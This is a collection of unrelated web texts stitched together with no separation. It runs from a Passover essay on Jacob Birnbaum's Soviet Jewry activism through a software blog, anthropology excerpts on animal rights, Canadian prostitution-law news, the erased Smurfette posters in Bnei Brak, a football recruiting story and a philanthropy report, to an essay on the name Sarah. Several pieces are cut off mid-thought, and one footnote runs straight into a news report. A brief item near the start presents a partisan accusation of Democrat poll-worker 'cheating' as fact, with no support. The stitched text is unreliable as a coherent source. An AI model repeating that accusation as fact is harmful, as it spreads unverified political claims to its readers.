The timing, in some way, couldn’t be more poignant.
When we sit down to the seder, we say, as part of the recitation of the Haggadah, “In every generation each Jew must see himself as one of those who was redeemed from Egypt.” There are numerous interpretations and understandings of how one might fulfill this obligation. But Jacob Birnbaum offers us one of the most compelling.
SSSJ began as a result of Birnbaum’s vehement conviction that Soviet Jewry could not be allowed to suffer the same fate as Jews who had fallen under the shadow of Nazi Germany, of whom he had been one, although luckily he and his family had escaped from their native Hamburg, and settled in England, shortly before World War II.
Birnbaum’s modus operandi was simple. He lived in Washington Heights, in the vicinity of Yeshiva University. So he would visit the YU dormitories every evening, night after night, and knock on students’ doors to cajole them, and convince them, and energize them, and enable them, and organize them, to become foot soldiers in his campaign to bring the plight of Soviet Jewry to the attention of the world, and principally to the attention of those in power. It is fair to say that he single-handedly forced the Soviet Jewry agenda onto the desks of congressmen, senators, diplomats and even Presidents. Most famously he coined the phrase “Let My People Go!” as the rallying call of the struggle for Soviet Jewry.
The commemoration of the exodus from Egypt, we are told, must be deeply personal. A ritualized retelling of the narrative that does not penetrate one’s inner core, that does not animate a person to do something that echoes the epic events of our ancient history, is a waste of time, and ultimately an abrogation of one’s Jewish duty. I imagine that Jacob Birnbaum, sitting down at his seder in 1964, and reading of the ancient Jewish victory in Egypt, thought to himself: ‘what is the point of celebrating the freedom of the Jews of Egypt, if there are Jews today who are still enslaved?’ Not content with his own freedom, he sought the freedom of every Jew, and particularly those whom he knew were being terrorized and prevented from emigrating to the West, or to Israel, by the Soviet authorities.
It is certainly no accident that the first public meeting over which Birnbaum presided, at Columbia University, took place in 1964 just a couple of weeks after Passover. ‘Let My People Go!’ was the phrase that Moshe repeated to Pharaoh as he sought freedom for his nation, and ‘Let My People Go!’ was the phrase Birnbaum adopted to push for the redemption of Soviet Jewry.
When we remember Birnbaum this week, though, we should not remember him as an extraordinary hero—although he certainly was. Instead, Let us remember that he was, like you and me, an ordinary Jew, inspired and motivated by the message of Passover to ensure that each and every generation of Jews will have the same ability as the Jews of the Exodus to be proud of their identity, and to practice their religion without hindrance, and without being fearful for their lives or their livelihood.
What will you do with that message?
I’ve been doing software for a bit over ten years and yet again I have fallen into the beginner’s pitfall: premature optimization. As Donald Knuth said: « premature optimization is the root of all evil. » For some obscure reasons I thought rendering on screen would be a problem?!? One day when the composition will have tons of pages… So I made up some offscreen render into bitmaps and refresh them only when needed… Very clever and made the render quite fast, but faster than the dumb way? I couldn’t tell since I started with the optimization.
When it came to printing I was stuck with notes rendered into crappy images and that does not look good in PDF: first print. It’s blurry, ugly and quite unsatisfactory, so I removed the root of all evil, cleaned up everything and ta-da: second print. Looks a lot better although there are a few things missing, like the title, footer and some on-screen selection…
This was my first time with PDF so my rendering code was a bit off; It was made for on screen render. A little thinkering and I got the multi-page PDF working: raga yaman.
I’ve done a few minor usability updates and I’ll try to polish a bit more next week and make a build on windows so we can start beta.
A Democrat poll worker was cited for disturbing the peace after she was confronted on her cheating on Tuesday.
Republican poll worker Bob Matteuzzi said his Democrat counterpart was letting everyone vote whether they were registered or not.
What a surprise.
Bob Matteuzzi is our hero of the day.
He was working a polling station in south St. Louis City.
FOX 2 Now reported:
Hard realities Section: Choose Top of page Abstract Introduction Animals, organisms, speci... Hard realities << Anthropology and nonhuman... Anthropology, ecosystems,... Anthropology and victimho... An excursion into anthrop... Ways forward: Interdiscip... Conclusion References CITING ARTICLES However, empirically, the mere scale of use, abuse, and dispossession of nonhumans has only intensified as human population and consumption increased. It has been estimated that every year about 100 million vertebrates are globally experimented on (Taylor et al., 2008). In the United States, 1 million animals (excluding rats, mice, birds, reptiles, amphibians, and animals used in agricultural experiments), and an estimated 100 million mice and rats are used in medical experiments (US Department of Agriculture, Animal and Plant Health Inspection Service, 2015; PETA). According to People for Ethical Treatment of Animals (PETA) “each year, more than 100 million animals – including mice, rats, frogs, dogs, cats, rabbits, hamsters, guinea pigs, monkeys, fish, and birds – are killed in laboratories, medical training, curiosity-driven experimentation, and chemical, drug, food, and cosmetics testing. Before their deaths, some are forced to inhale toxic fumes, others are immobilized in restraint devices for hours, some have holes drilled into their skulls, and others have their skin burned off or their spinal cords crushed.” For every medical test animal, tens time more are killed on the American roads (Desmond, 2013; Scientific American, 2013). In comparison to those used in research, over 1800 times the number of pigs are consumed for food, with 340 chickens consumed for each animal used for medical testing (National Agricultural Statistics Service, 2016). More than 9,000,000,000 farm animals in the United States are used annually to produce meat, dairy, and eggs (Humane Society). Each year in the United States, approximately 2.7 million animals are euthanized, including 1.2 million dogs and 1.4 million cats (ASPCA). While American and European statistics are approximations of actual numbers, statistics on animal consumption, experimentation, euthanasia, and roadkill in the rest of the world are either not recorded or not accurate (Humane Society). Also for biodiversity extinction rates, statistics widely vary, but the WWF estimates that the loss of species is between 1000 and 10,000 times higher than the natural extinction rate (WWF). This empirical reality overrides the idea of “moral progress” in relation to nonhumans. As Marino and Mountain (2015) have emphasized, even though today there are more animal advocacy and protection organizations than ever, the situation for nonhuman animals continues to deteriorate, as illustrated by intensification of factory farming and mass extinction of wildlife species. Industrial farms or medical establishment where the most violence is institutionalized and normalized are rarely questioned by the wider society and academics (Crist, 2012). Mullin (1999) emphasizes that despite theoretical and ethical progress in discussing these issues, anthropocentric focus in anthropology is unlikely to disappear. While some anthropologists find PETA is a shocking, incendiary organization,4 from the AR point of view, it is no more shocking than a human rights organization documenting the violence.
Anthropology and victimhood: Bottlenecks and paradoxes Section: Choose Top of page Abstract Introduction Animals, organisms, speci... Hard realities Anthropology and nonhuman... Anthropology, ecosystems,... Anthropology and victimho... << An excursion into anthrop... Ways forward: Interdiscip... Conclusion References CITING ARTICLES While purportedly defending vulnerable, poor communities, excluding nonhumans from this concern testifies to the double standard morality. While colonial elites have prohibited the practice of tribal warfare, torture, and cannibalism (e.g., Goldman, 1999), few anthropologists would decry the loss of these “traditional practices.” Simultaneously, ARs activists are seen as threatening “cultural survival.” Critics of conservation tend to conflate environmentalism with colonialism, while implicitly supporting colonial prohibition of headhunting as part of traditional ritual, or infanticide as part of traditional birth control. The very idea of “traditional practice” is thus selectively framed. It is also ironic that the defenders of “indigenous rights” often adopt the “nontraditional” commercial terminology in referring to natural resources and ecosystem services (Benjaminsen et al., 2006). As Pountney (2012: 215) has pointed out: Arne Kalland’s critique of the discrete categorisation of people into those who whale culturally (Aboriginal Subsistence Whaling) and those who whale commercially without cultural values indicates that the two cannot be meaningfully separated. “Indigenous people” are rarely isolated from global market forces and for coastal whalers whaling is more than a mode of subsistence. However, the author undermined his argument in two ways. First, by polarising the debate and vilifying the opposition (an accuse he himself moves to the anti-whaling environmentalists). Second, by using selective pieces of information, emotive language and at times crude generalisations, it becomes increasingly difficult for the reader to appreciate how the author differs from the people he is decrying …. The book reads more like a smear campaign than an exploration of social engagement with whaling. This sets a dangerous precedent in reifying “cultural survival” and economic livelihood at the cost of nonhuman lives. Today, there is a growing proportional difference between the number of people (over 7 billion) and a number of nonhumans, especially apex predators, such as tigers and lions, left in the wild. While the apex predators are normally checked by environmental constraints, this is no longer the case for our own species. It seems that “the bigger the population, the faster it grows; the more technology we have, the faster the rate of new invention; and the more we believe in our ‘power’ over an enemy environment, the more ‘power’ we seem to have and the more spiteful the environment seems to be” (Bateson, 1972: 494). As observed by Crist (2012: 145): “as civilized Man’s power over the natural world has grown, so by the same token has his blindness to the wonder of the biosphere’s existence as well as to the grievous violence he has unleashed within it.” Simultaneously, “with the animals in our laps and our mechanized slaughterhouses, we are less sure who they are and therefore who we are” (Shepard, 1993: 289). Discussing the issue of farm animals might be even more uncomfortable than harm wrought against animals in the wild since it is intertwined with the questions of social justice and growing global demands for affordable food for an increasing number of people. This demand drives the increased use of confined animal feeding operations (CAFOs), in conditions that can be described as animal torture (Crist, 2012) in order to increase the economic efficiency of meat production (Lobao and Stofferahn, 2008). This efficiency in intertwined with other ethical questions, such as availability of affordable food for all people, including those who cannot afford the meat that is produced in more animal-friendly conditions (Haraway, 2008). As Haraway (2008: 41–42) has reflected: In principle if not always in personal and collective action, it is easy to know that factory farming and its sciences and politics must be undone. But what then? How can food security for everybody (not just for the rich, who can forget how important cheap and abundant food is) and multispecies’ co-flourishing be linked in practice? Thus, the trade-offs, potential conflicts, as well as the need to compromise is once again centered on vulnerable human communities and not about other living beings. The unproblematic category of “meat” clearly applies to nonhumans only, and the choice is often framed between people, not between people and nonhumans (Calarco, 2014). Plumwood (2000) reflects on after her experience of almost being swallowed by a crocodile, and the “shocking reduction” suffered from realizing that she can be seen as a piece of meat, conveys this sense of true unity with nonhumans that is not common in anthropological literature. Routney’s (1982) paper “In Defense of Cannibalism” which has caused an academic outcry of indignation at the time of its publication demonstrates the great gap between moral values assigned to the lives and bodies of humans and animals. Another example of the double standard is the case of medical experimentation. Rightly the horrors of the Nazi-era medical testing on human prisoners have caused the global abhorrence. Yet, very few anthropologists dispute the use of medical testing on animals. Haraway reflects on her exchange with her friend and colleague Sharon Ghamari-Tabrizi who has asked her: So if you were going to abandon humanism, in favor of the post-humanism, ahumanism, non-humanism of the process philosophers, of the phenomenologists, of Derrida and Whitehead, I still want to know how specifically laboratory experimental practices get done and get justified …. I want to know what you would say when someone buttonholes you and says: I challenge you to defend the slaughter of lab animals in biomedical experiments. (Ghamari-Tabrizi in Haraway, 2008: 86–87) Haraway (2008: 86–87) responded: Yes, I will defend animal killing for reasons and in detailed material-semiotic conditions that I judge tolerable because of a greater good calculation. And no, that is never enough. I refuse the choice of “inviolable animal rights” versus “human good is more important.” Both of those proceed as if calculation solved the dilemma, and all I or we have to do is choose. I have never regarded that as enough in abortion politics either. Because we did not learn how to shape the public discourse well enough, in legal and popular battles feminists have had little choice but to use the language of rationalist choice as if that settled our prolife politics, but it does not and we know it …. We feminists who protect access to abortion, we who kill that way, need to learn to revoice life and death in our terms and not accept the rationalist dichotomy that rules most ethical dispute. Perhaps guilty of the “rationalist dichotomy” thinking, I fail to see how the “material-semiotic conditions” apply to the feminist argument about “killing” in the case for (or against) abortion. A human embryo is not “killed” for the “greater good,” if the “greater good” (as in the case of animal testing) implies human welfare. Abortion is normally done with the consent of a mother, which cannot be said of nonhuman mothers who are exposed to human-related diseases, subjected to experimental treatments and then exterminated, pregnant or not. Even our beloved pets, who generally tend to receive more recognition and better treatment than do animals used for food production (Haraway, 2008), have their reproductive choices determined by their owners (e.g., sterilization and castration of pets is common practice). More generally, ecofeminism has explicitly linked subordination of nature to gender oppression (e.g., Adams and Gruen, 2014; Gaard, 1993; Plumwood, 1993), without realizing that for nonhumans this oppression is a question of life and death. Haraway (2008: 88) continues: “Far from reducing everything to a soup of post- (or pre-) modern complexity in which anything ends up permitted, companion-species approaches must actually engage in cosmopolitics, articulating bodies to some bodies and not others, nourishing some worlds and not others, and bearing the mortal consequences.” In the same paragraph she adds: “All of this is what I am calling ‘sharing suffering’. It is not a game but more like what Charis Thompson calls ontological choreography” (Haraway, 2008: 88). I wonder how nonhumans are to engage in cosmopolitics if they cannot speak our language, and would the inevitable choice of “nourishing some worlds and not others” fall upon those who can talk? By default, will not the “bearing the mortal consequences” be done by nonhumans? This muddled justification for not making a choice actually allows those in power to make it anyway. The lack of moral commitment is exemplary of how multispecies anthropology deals – or rather refuses to deal with – nonhuman suffering. While being sympathetic to nonhumans, Haraway does not take a stance the way that she does against oppression of women in much of her work. This double standard allows dismissal of anything from the production of meat (which, according to humanist logic, has to be cheaply produced) to conservation (which has to, according to the same logic, be primarily fair to vulnerable human communities). When arguing that more attention ought to be paid to life forms, even Ingold does not pose questions about suffering (Rock, 2016).
An excursion into anthropocentric bias in our discipline Section: Choose Top of page Abstract Introduction Animals, organisms, speci... Hard realities Anthropology and nonhuman... Anthropology, ecosystems,... Anthropology and victimho... An excursion into anthrop... << Ways forward: Interdiscip... Conclusion References CITING ARTICLES Since this article critiques the current dominant conception of the human relationship with the nonhuman world, anthropocentrism needs to be explained in more detail. Anthropocentrism is often associated with “humanism,” a worldview which privileges the aim of improvement of human welfare. Humanism has long been a tenet of socio-cultural anthropology and has underwritten efforts to expose social injustices and improve the welfare of all human beings (Sodikoff, 2011). Humanism has also become part of the Dominant Social Paradigm (DSP) in Western society, positing humans as superior to nature (Dunlap and Van Liere, 1978). Within DSP, the uniqueness of human beings is manifested in their capacity to effectively control natural resources and use language and technology. The DSP is distinguished by anticipations of continuous abundance and prosperity, achieved through science, technology, and economic growth (Dunlap and Van Liere, 1978). DSP is similar to Horkheimer and Adorno’s (2002) notion of “rational sovereignty” of the post-Enlightenment period when humankind has achieved the “mastery” of Nature, manifesting itself in the ever-expanding industrial economy. It was argued that extreme cultural relativity, in which it is possible to ignore major abuses of human rights, is an abdication of moral responsibility (Caplan, 2003). By the same token, ignoring the scale of nonhuman suffering in favor of case studies can be seen as abdication of moral responsibility to nonhumans. Kohn’s idea of autonomy and intrinsic rights of forests, trees, or animals is largely restricted to the “native view” of the Runa community that he studies. This view is typical of much anthropological writing about community perspectives on biodiversity, exploring knowledge systems of indigenous peoples within specific settings (Descola, 2014). Indeed, many anthropologists have pointed out that indigenous worldviews can have radically different ontologies and epistemologies from Western dualism and cautioned against reproduction of western concepts and taxonomies of nature (Descola, 2014; Ingold, 2000, 2012; Kopnina, 2015; Sullivan, 2016). Perhaps due to the tradition of the case-based studies in anthropology, few anthropologists have engaged with the massive scale of nonhuman abuse, or with the more radical ecocentric positions. While indigenous ontologies are highly valuable, it has been argued that rather than being due to the ecologically benign ontologies, the low ecological impact within traditional societies has been due to structural factors such as low population density and poor production technology (Ingold, 2000). Also, in the context of planetary biodiversity loss, the local ontologies are not always ecologically benign. When the people anthropologists study indicate that they would rather hunt (endangered species), anthropological critiques of conservation not only represent this view, but actively advocate on behalf of “their” communities against the efforts of those who try to protect the nonhumans (e.g., Einarsson, 1993; Kalland, 2009; McElroy, 2013). But it is not just the overt critics of conservation that justify anthropocentrism by declaring their support for the vulnerable communities. The well-meant reciprocity, interconnectedness, and entanglements rhetoric tends to ignore the history of human-driven extinctions, and the Thylacine (Tasmanian tiger), the Passenger Pigeon, and the Golden Toad, to name just a few extinct species, remain outside of these narratives. While we may all remember “the last of the Mohicans” will we ever remember the Golden Toad? The rhetoric of diffusing human–environment dualism does not go far enough in addressing underlying anthropocentrism. While many anthropologists criticize the heritage of Western philosophy, science, and law that all presume a hierarchal distinction between human and nonhuman lives (Descola, 2013; Rock, 2016), anthropocentric bias (Kopnina, 2016), speceism (King, 2013) and human exceptionalism (Haraway, 2008; Mullin, 1999) positions are still dominant. The practical choice between a gorilla (not to mention a mosquito) and a human is easily made. Stating this is not a question of demonizing humans but of realizing that the relationship between nonhumans and humans is not reciprocal. There are significant distinctions being made between human groups (e.g., those deserving of anthropological sympathy by the virtue of being assigned “poor,” “marginalized,” “indigenous,” or “minority” status; and those to blame: capitalists, neoliberals, conservationists). Yet, a clear moral demarcation between humans (in all their diversity) and nonhumans (as a collective without rights) is retained. It is not the question of whether humans are interconnected with or interdependent with nature (of course they are, as slave owners were also dependent on their slaves), but whether nature should be accorded rights similar to that of humans. Multispecies ethnography has largely steered away from ARs, too academic to be truly political.
Conclusion Section: Choose Top of page Abstract Introduction Animals, organisms, speci... Hard realities Anthropology and nonhuman... Anthropology, ecosystems,... Anthropology and victimho... An excursion into anthrop... Ways forward: Interdiscip... Conclusion << References CITING ARTICLES What Scheper-Hughes has described is horrendous and anthropologists should indeed actively work against the terrifying trade in organs, particularly as anthropologists have an ethical disposition toward oppressed, downtrodden, and marginalized communities. Yet, if the acceptance of daily animal suffering is to be challenged, real anthropological engagement or even activism is needed. While the rhetoric of entanglements is sympathetic to nonhumans, it remains largely conventional in its micro-analysis of ‘traditional’ anthropological communities, local perceptions and experiences, failing, as it were, to see the forest for the trees. Much of the recent multispecies scholarship has remained rooted in comfortable intellectual and ethical spaces, addressing political issues in a local context and leaving the immensity of the global nonhuman abuse outside the scope of engaged anthropology. In times of industrialization of animal suffering, anthropology needs to transcend “a soup of post- (or pre-) modern complexity” (Haraway, 2008: 88). While the commitment to the advocacy of ecological justice, deep ecology, and AR seems radical and heretical, so was the commitment to minority rights in the past. As Scheper-Hughes has argued, radical anthropology and heretical methods are needed when we feel truly moved by cases of suffering and violence. To repeat the student’s question quoted in the vignette above: is the use of animals in medical experimentation moral? This article has argued that it is time for anthropologists to take a stance on ARs.
Declaration of conflicting interests The author(s) declared no potential conflicts of interest with respect to the research, authorship, and/or publication of this article.
Funding The author(s) received no financial support for the research, authorship, and/or publication of this article.
Notes 1
Animal right supporters are philosophically opposed to the use of animals by humans, although some accept ‘symbiotic’ relationships, such as companion animal ownership. The animal welfare includes the following: □ Freedom from hunger and thirst □ Freedom from discomfort, including shelter □ Freedom from pain, injury, and disease □ Freedom to express normal behavior, including sufficient space and company of the animals own kind ? □ Freedom from distress by ensuring conditions and treatment which avoid suffering (WSPA). 2
Animal rights theory has a complex line of descent that includes a combination of Bentham’s utilitarianism, and Kantian natural rights, as well as theories of duty and autonomy. Discussion of animal rights stems from Singer (1975) and Regan (1986) and involves a combination of both liberty and claim rights. 3
Various application of this theory explore the nature of justice claims as applied to organisms of various degrees of complexity and describes the institutional arrangements necessary to integrate the claims of ecological justice into human decision-making. 4
Minister of Justice Rob Nicholson and Attorney General of Ontario John Gerretsen announced the appeal in a statement Wednesday.
"After careful consideration … the government of Canada will seek leave to appeal the decision to the Supreme Court of Canada," the statement read.
In response to a challenge from three sex-trade workers, the Ontario Court of Appeal released a decision on March 26 upholding an earlier ruling by Superior Court Judge Susan G. Himel that three provisions of the Criminal Code relating to prostitution should be struck because they are unconstitutional.
The Appeal Court agreed with two-thirds of Himel's ruling, including that the provisions prohibiting common bawdy houses and living off the avails of prostitution are both unconstitutional in their current form.
Ontario's top court struck down the ban on bawdy houses on the basis that it increased the dangers prostitutes face because they are forced to work on the streets. However, the Appeal Court affirmed the validity of the offence of communicating in public for the purpose of prostitution.
Hailed as recognition of rights
The federal and provincial governments had appealed Himel's decision.
The court gave the federal government 30 days to appeal to the Supreme Court of Canada.
Sex-trade workers, who hailed the Ontario court ruling as a recognition of their rights and said it would enhance their safety, expressed disappointment at Ottawa's decision.
Vancouver sex worker Amy Lebovitch called the federal government disrespectful toward prostitutes.
"We're telling them we need this to be safe, and they're saying, 'Too bad,'" Lebovitch, 33, said.
In March, Nicholson had hinted that an appeal would be likely, saying that "prostitution is bad for society and harmful to communities, women and vulnerable persons."
"The government of Canada is pleased that the Court of Appeal affirmed the validity of the offence of communicating in public for the purpose of prostitution," the release said Wednesday.
"However, the government is of the view that a binding, national decision is needed on the constitutionality of Criminal Code (section) 210 (keeping a common bawdy house.)"
NDP justice critic Françoise Boivin weighed in Wednesday, saying she believes the decision from the Court of Appeal "is the right one."
If the decision had gone the other way, Boivin added, she would have expected people who support decriminalizing brothels to have appealed the ruling to the Supreme Court of Canada.
One way or the other, Boivin said, the legal outcomes "won't stop the black market" operating outside legal requirements for the sex trade.
Promotional posters for “Smurfs: The Lost Village” were unveiled across Israel on Sunday, but in Bnei Brak, an ultra-Orthodox enclave just outside of Tel Aviv, the usual image of four blue humanoids had a very deliberate tweak: Smurfette, the lone female of the bunch, had been erased.
Ultra-religious Jewish males are forbidden to look upon images of women, and in Israel’s most devout communities, depictions of women are routinely cropped out of newspapers, catalogues and advertisements. During the U.S. presidential election, religious news sites in Israel ran coverage without any images of Hillary Clinton. Earlier this year, the local arm of Swedish furniture giant IKEA came under fire from some Israelis for distributing a special version of its catalogue with only men and boys in its photos of pre-fab kitchens and dining rooms.
Film posters featuring women also routinely come under the knife when they appear in religious neighborhoods. In 2015, Jennifer Lawrence disappeared from posters for “The Hunger Games: Mockingjay – Part 2,” replaced by an image of a fiery crown.
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But the Smurfs poster marks the first time a non-human female has also been deemed forbidden fruit. According to the Israeli press, the tweaked posters were created by the film’s local PR film as part of an organized publicity rollout and appear only in religious neighborhoods. In most of the rest of Israel, in cities such as Tel Aviv and Haifa, Smurfette is present alongside Brainy, Clumsy and Hefty.
Secular Israelis were quick on social media to mock the decision to excise Smurfette.
“Wait until they find out that Jokey Smurf has been living a lie and all this time was attracted to Brainy,” TV scribe Yotam Zimri tweeted.
Other commentators pointed out that the male smurfs are shirtless and therefore not particularly modest, while a more serious debate centered on the illogic of producing a bowdlerized billboard for a film that hasn’t itself been censored.
Some religious Jews do attend secular cinema, and others secretly download films and view them at home or at Internet cafes. And not all residents of communities like Bnei Brak are equally religious.
Forum Film, which distributes “Smurfs” in Israel, told Israeli daily Haaretz that the scrubbed billboard was standard practice in ultra-Orthodox enclaves.
Patterson retracted his Tech pledge in the wake of Frank Beamer's retirement last month, but on Monday night, he let Fuente know that he was convinced to stick with his original commitment.
"He said that I'm gonna love it when I meet him in person, when I talked to him on the phone, he said the first thing he's gonna do when he sees me is give me a big old hug," Patterson said.
But Patterson admits that the prospects of such an emotional reunion with the Hokies didn't always look good. He rescinded his original commitment just a few days after Beamer's retirement, a move that he said was prompted by the uncertainty that move brought to Blacksburg.
"I wasn't sure about it after the announcement Coach Beamer was retiring because I knew there was going to be a lot of coaching staff switch-ups and things like that, that's my main reason for de-committing," Patterson said.
Given Patterson's relationship with current WRs coach Zohn Burden, who's recruited him since his ODU days, it's not surprising that the coaching upheaval gave him pause about Tech.
But Patterson credits his early interactions with Fuente and new Tech assistant Holmon Wiggins for allaying those concerns.
"I'm very solid on my decision now that I've talked to the coaches and know them a little bit better," Patterson said. "They have good intentions of getting me in there, getting early playing time, just making sure that I'm in good hands. That was my main focus in finding a school."
Patterson said he heard from Fuente last Tuesday night, making him one of the new head Hokie's very first calls in the new role, and he was impressed with how knowledgeable he already seemed about his game.
"When I talked to him, he was sitting there, telling me exact plays on my highlight tape," Patterson said. "It just made me feel special that he actually took the time out being as big time as he is, and he actually evaluated me, and we had a real good conversation."
Patterson adds that he was equally impressed by Wiggins, noting that his youthfulness also made him easy to connect with.
"He's very up front, he's cool. It's easy to relate to him in a conversation, we talk about football and personal things, and that's what kind of got me closer to him," Patterson said. "He seemed like a pretty young, cool coach, and I could talk to him about anything, and really made me feel comfortable. He didn't pressure me, just talked about football things and coming to Tech and stuff like that. He made a pretty good impression on me."
According to Patterson, Wiggins told him he plans to visit Bayside on Tuesday, yet his exact role with the Hokies remains unclear. He's currently listed on Tech's website as the team's wide receivers coach, but the team's made it clear that may change.
As of now, #Hokies say they're listing Holmon Wiggins as the wide receivers coach. Subject to change as staff comes together, however.— Andy Bitter (@AndyBitterVT) December 7, 2015
Given his role as running backs coach under Fuente at Illinois State, it would seem he has flexibility. For his part, Patterson said he's still "wondering" about Wiggins' exact role, but he hasn't "heard anything official yet." Similarly, he said he has yet to hear anything from Fuente or any other Tech coaches about Burden's future.
Regardless of who ends up coaching him on a daily basis, Patterson said he's anxiously awaiting the chance to play in Fuente's spread offense.
"That really did attract me a lot, that's the kind of offense I look forward to in college, a spread offense that will get me the ball in space and let me work," Patterson said.
But before he can get on campus for good, Patterson hopes to take another visit to Blacksburg to meet Fuente and the rest of the new staff.
"I definitely want to take an official in January," Patterson said. "I don't have a specific date yet, but I'm definitely going back."
When he gets there, he just might be able to get that hug Fuente promised him.
The gift, announced Tuesday, is the biggest from Lewis to any institution in Cleveland since he declared a temporary boycott on his local giving in 2002 to vent frustration with the city.
He ended the boycott in 2003, but has made local gifts only up to $1 million since then.
Lewis made the $5 million donation, he said Tuesday over lunch at Moxie in Beachwood, to recognize that the $150-million-plus Uptown development in University Circle, of which the art institute is part, has met the high hopes he articulated for the development in 2004.
“It’s the first time in a long time I’ve been impressed by Cleveland,” he said. “I’m impressed by the achievement and accomplishment, I’m impressed all around.”
Grafton Nunes, president of the art institute, said he worked quietly over the past two years to court Lewis. He called the donation “a wonderful story. There’s a lot of joy to go around.”
Lewis, 78, the chairman and former president and CEO of Progressive Corp., has a fortune valued at $1.2 billion by Forbes magazine. He divides his time between homes in Coconut Grove., Fla.; Aspen, Col.; New York; and Cleveland.
Over the past 20 years, he has donated roughly $500 million to causes including Princeton University, his alma mater; the Solomon R. Guggenheim Museum; the reform of marijuana laws; Cleveland charities and liberal-leaning organizations, which he calls “progressive with a small p.”
His $5 million gift to the art institute puts it in a position to complete by late 2014 a $66 million renovation and expansion of its Joseph McCullough Center for the Visual Arts on Euclid Avenue at East 115th Street, Nunes said.
The first phase of Uptown, which will be completed in the fall, includes more than 100 rental apartments, plus bars, restaurants, a Constantino’s supermarket, the new Museum of Contemporary Art Cleveland and the expanded art institute.
The eight-acre project has replaced The Triangle, a moribund collection of chain businesses, fast food restaurants and parking lots built in the 1980s at the Euclid-Mayfield corner. The project is also filling the parking lot north of Euclid Avenue and South of Hessler Road at Ford Drive, once known jokingly as “Hessler Beach.”
Uptown grew out of a collaboration among Case Western Reserve University, University Circle Inc., cultural institutions, a private developer and lenders.
Lewis helped spark the thinking that led to Uptown in 2004 by challenging Edward Hundert, then president of CWRU, to replace the Triangle.
The dialogue over the evolving project was part of a long-term effort by various leaders in Cleveland to woo Lewis back to engagement in Cleveland after a spectacular falling out in 2002.
Lewis — long viewed as a go-to source of individual philanthropy — shocked the city that year by announcing he would boycott all Cleveland charities to protest what he then called mismanagement at Case Western Reserve University.
Lewis was angry at the time over the way CWRU had developed its new building for the Weatherhead School of Management, which was named for him and designed by his friend, the internationally renowned Los Angeles architect, Frank Gehry.
Lewis donated $36.9 million to the project, but the cost mushroomed to $61.7 million at a time when the university experienced high turnover in top administrative posts, including its presidents.
Lewis in 2002 called CWRU “a diseased university that is collapsing and sucking Cleveland into a hole with it.”
He also said that Cleveland was declining because too many lawyers were involved in civic leadership.
“Lawyers are functionaries hired by the people who do something,” he said “but we’ve got a situation where they’re running the town. It’s absurd.”
A decade later, Lewis had nothing but praise for CWRU’s president, Barbara Snyder.
“She has impressed me from the day she arrived,” he said.
Lewis also praised a new generation of leaders in town. He singled out developer Ari Maron, 34, a partner in MRN Ltd., the firm that’s building the apartments, retail and restaurant buildings at Uptown. Maron was part of a small group of Uptown project leaders who made a presentation to Lewis about the development last month.
After hearing the presentation, which took place in a new apartment at Uptown, Lewis said, “I said to myself, ‘they did what I asked. I’m supporting the effort.’ ”
Lewis’s gift will help the Cleveland Institute of Art, a private, four-year art college, break ground later this year for its new Gund Building, an expansion of the McCullough Center studio complex, Nunes said. The art institute’s board is set to vote in August on scheduling the groundbreaking, Nunes said.
Once the expansion is completed, the art institute could sell its other building a half mile away at 11141 East Blvd., opposite the Cleveland Museum of Art.
Nunes said, “we are currently in discussions with interested parties about the disposition of the [East Boulevard] Gund site.”
In honor of the gift from Lewis, the art institute will name the new movie theater in its Uptown complex for him, Nune said.
Lewis said that while entreaties from Nunes played a role in his decision to help the art institute, it was significant that his philanthropic advisor, Jennifer Frutchy of Boston, kept him focused on Uptown’s evolution over the years.
I love that idea, since I’ve never felt particularly exceptional. After all, I grew up with the name Sarah.
Between 1980 and 2000, the name “Sarah” consistently ranked as the fourth- or fifth-most-popular name in the US. I was born in 1983. The practical effect of this was that I spent my childhood expecting to be one of many anytime I walked into a room. My own father hollered “Sarah Todd” whenever a friend called on the landline, just to distinguish me from all the other Sarah’s who might be hanging out upstairs in my bedroom.
If the purpose of a name is to signify an object, a very common first name seems like a pretty ineffective signifier. When people on the street say my name, I often don’t bother to turn around, knowing that there are probably other Sarah’s in close proximity. And so I think of “Sarah” less as a name that’s specific to me and more as a general descriptor—another word for “woman” or “girl,” or something else that applies both to me and to a lot of other people, too.
Recently, I got curious about whether other people with very popular names felt similarly unattached to their own monikers. There’s been plenty of publicity about the possible drawbacks—and benefits—of unique names. But what are the psychological effects of growing up with a name that you have to share with everyone else?
What’s in a name?
The fact that I’m even bothering to ask this question is a sign of the times, according to Laura Wattenberg, founder of the baby-naming site Baby Name Wizard.
“I think in past generations, parents were much more concerned about their kids’ names fitting in. But in the past 20 years, the focus has been 100% on standing out,” Wattenberg says. “Parents are really, really worried about their kids being ordinary.”
“Parents are really, really worried about their kids being ordinary.”
Wattenberg attributes the cultural shift to several factors, including the introduction of baby-name statistics and the cable TV explosion, which let people see a wider variety of names. But the most important change was the dawn of the digital era. “Two aspects of the internet had a big impact,” Wattenberg says. “All of us were choosing user names and becoming accustomed to the idea that a name has to be unique to be usable.” Search engines also changed the way we think about names. “It used to be that if there was a Sophie Adamson, there would be 100 other Sophie Adamson’s and she’d never know about them. But now parents type a name into the search engine, see the name is ‘taken,’ and panic.”
It’s understandable that parents get nervous about picking a name: Our names send a signal to the world about who we are. At a basic level, they may hint at our age, ethnicity, and religion. Research shows that our names can also reflect our families’ socioeconomic status and political affiliations. Because they disclose so much information to the world, choosing a name is a high-stakes game. As Maria Konnikova writes in The New Yorker, “We see a name, implicitly associate different characteristics with it, and use that association, however unknowingly, to make unrelated judgments about the competence and suitability of its bearer.”
But there is an exception: Extremely common, classic names give very little away. Biblical names like these never really go out of style, which means their bearers can be almost any age. They can be Jewish names, or Christian ones, or religiously unaffiliated. There are white Michael’s and David’s and Mary’s, and black, Latino, and Asian ones too. And these names are not particularly linked to politics: According to a 2016 Political Behavior study, “White mothers in liberal neighborhoods are just as likely to give their children Biblical names like Jacob, Daniel, Hannah, or Sarah as mothers in conservative neighborhoods.”
When you hear from a person with a name like Dave or Jen or Mike, “you’re more likely to answer their email, more likely to swipe right on Tinder.”
And so giving your child a classic, common name can be a way to steer clear of cultural stereotypes and unjust discrimination. Historically, Wattenberg says, research has shown that people find familiar, easy-to-pronounce names to be likable and trustworthy. When you hear from a person with a name like Dave or Jen or Mike, “you’re more likely to answer their email, more likely to swipe right on Tinder,” she says.
But a lot of people rightfully take pride in having a distinctive name that speaks to their family’s culture and origins. And bearing a name that practically screams “basic” can present its own challenges. To find out what those obstacles might be, I first turned to my natural cohort: a sampling of Sarah’s.
The Sarah’s and me
